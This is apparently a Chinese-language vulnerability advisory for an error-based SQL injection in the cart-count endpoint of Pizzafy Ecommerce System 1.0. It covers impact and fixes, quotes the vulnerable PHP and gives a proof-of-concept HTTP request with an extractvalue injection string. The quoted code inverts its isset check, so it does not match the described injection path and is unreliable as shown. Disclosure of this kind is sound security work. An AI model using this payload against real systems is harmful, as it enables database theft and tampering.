# 漏洞总结:Pizzafy Ecommerce System 1.0 SQL注入漏洞 ## 漏洞概述 * **漏洞类型**:基于错误的SQL注入 (Error-Based SQL Injection) * **受影响版本**:Pizzafy Ecommerce System 1.0 * **漏洞位置**:`/pizzafy/admin/ajax.php` 接口的 `get_cart_count` 函数 * **触发参数**:`id` 参数 * **漏洞描述**:后端代码未对用户输入的 `id` 参数进行过滤,直接拼接到SQL查询语句中,导致攻击者可以通过构造恶意SQL语句获取数据库敏感信息。 ## 影响范围 * **机密性 (Confidentiality)**:数据库架构和用户凭据泄露。 * **完整性 (Integrity)**:未授权的数据删除或修改。 * **可用性 (Availability)**:恶意删除导致服务不可用。 * **权限提升 (Privilege Escalation)**:通过会话数据劫持获取管理员权限。 ## 修复方案 1. **使用预处理语句 (Prepared Statements)**:使用参数化查询(如 `mysqli_prepare`)来防止SQL注入。 2. **输入验证 (Input Validation)**:对 `id` 等参数进行严格的类型检查(如仅允许整数)。 3. **数据库权限限制**:限制数据库用户权限,最小化潜在损害。 4. **错误处理**:避免在响应中暴露详细的数据库错误信息。 ## 漏洞代码 (Vulnerable Code) ```php public function get_cart_count() { if(!isset($_SESSION['login_user_id'])) return "0"; $user_id = $_SESSION['login_user_id']; if (!isset($_GET['id'])) { $user_id = $_GET['id']; } $sql = "SELECT SUM(qty) as total FROM cart WHERE user_id = $user_id"; $result = $this->conn->query($sql); if (!$result) { return $this->conn->error; } if($result && $result->num_rows > 0) { $row = $result->fetch_assoc(); } if(!is_numeric($row['total'])) { return json_encode($row); } return $row['total'] ? (string)$row['total'] : "0"; } ``` ## 利用代码 (PoC) **GET 请求示例:** ```http GET /pizzafy/admin/ajax.php?action=get_cart_count&id=1%20and%20extractvalue(1,%20concat(0x7e,%20version())) HTTP/1.1 Host: localhost sec-ch-ua: Accept: */* X-Requested-With: XMLHttpRequest sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/114.0.0.0 Safari/537.36 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: http://localhost/pizzafy/index.php?page=home Accept-Encoding: gzip, deflate Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache Cookie: PHPSESSID=n149kjl2vwd4ra1063qunr95 Connection: close Content-Length: 0 ``` **注入的SQL语句:** ```sql id=1%20and%20extractvalue(1,%20concat(0x7e,%20version()))%20-- ```